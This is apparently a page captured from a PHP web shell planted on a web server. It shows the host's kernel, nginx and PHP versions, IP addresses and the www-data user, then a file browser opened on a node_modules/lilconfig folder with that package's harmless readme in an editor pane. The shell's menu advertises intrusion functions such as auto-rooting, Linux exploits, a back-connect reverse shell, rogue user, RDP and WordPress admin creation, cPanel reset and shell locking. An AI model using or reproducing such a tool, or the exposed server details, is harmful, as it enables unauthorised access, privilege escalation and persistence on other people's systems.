Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
lilconfig /
[ HOME SHELL ]
Name
Size
Permission
Action
dist
[ DIR ]
dr-xr-xr-x
LICENSE
1.05
KB
-rw-rw-rw-
package.json
1.27
KB
-rw-rw-rw-
readme.md
2.97
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : readme.md
# Lilconfig ⚙️ [](https://badge.fury.io/js/lilconfig) [](https://packagephobia.now.sh/result?p=lilconfig) [](https://coveralls.io/github/antonk52/lilconfig) A zero-dependency alternative to [cosmiconfig](https://www.npmjs.com/package/cosmiconfig) with the same API. ## Installation ```sh npm install lilconfig ``` ## Usage ```js import {lilconfig, lilconfigSync} from 'lilconfig'; // all keys are optional const options = { stopDir: '/Users/you/some/dir', searchPlaces: ['package.json', 'myapp.conf.js'], ignoreEmptySearchPlaces: false } lilconfig( 'myapp', options // optional ).search() // Promise<LilconfigResult> lilconfigSync( 'myapp', options // optional ).load(pathToConfig) // LilconfigResult /** * LilconfigResult * { * config: any; // your config * filepath: string; * } */ ``` ## Difference to `cosmiconfig` Lilconfig does not intend to be 100% compatible with `cosmiconfig` but tries to mimic it where possible. The key differences are: - **no** support for yaml files out of the box(`lilconfig` attempts to parse files with no extension as JSON instead of YAML). You can still add the support for YAML files by providing a loader, see an [example](#yaml-loader) below. - **no** cache ### Options difference between the two. |cosmiconfig option | lilconfig | |------------------------|-----------| |cache | ❌ | |loaders | ✅ | |ignoreEmptySearchPlaces | ✅ | |packageProp | ✅ | |searchPlaces | ✅ | |stopDir | ✅ | |transform | ✅ | ## Loaders examples ### Yaml loader If you need the YAML support you can provide your own loader ```js import {lilconfig} from 'lilconfig'; import yaml from 'yaml'; function loadYaml(filepath, content) { return yaml.parse(content); } const options = { loaders: { '.yaml': loadYaml, '.yml': loadYaml, // loader for files with no extension noExt: loadYaml } }; lilconfig('myapp', options) .search() .then(result => { result // {config, filepath} }); ``` ### ESM loader Lilconfig v2 does not support ESM modules out of the box. However, you can support it with a custom a loader. Note that this will only work with the async `lilconfig` function and won't work with the sync `lilconfigSync`. ```js import {lilconfig} from 'lilconfig'; const loadEsm = filepath => import(filepath); lilconfig('myapp', { loaders: { '.js': loadEsm, '.mjs': loadEsm, } }) .search() .then(result => { result // {config, filepath} result.config.default // if config uses `export default` }); ``` ## Version correlation - lilconig v1 → cosmiconfig v6 - lilconig v2 → cosmiconfig v7
Close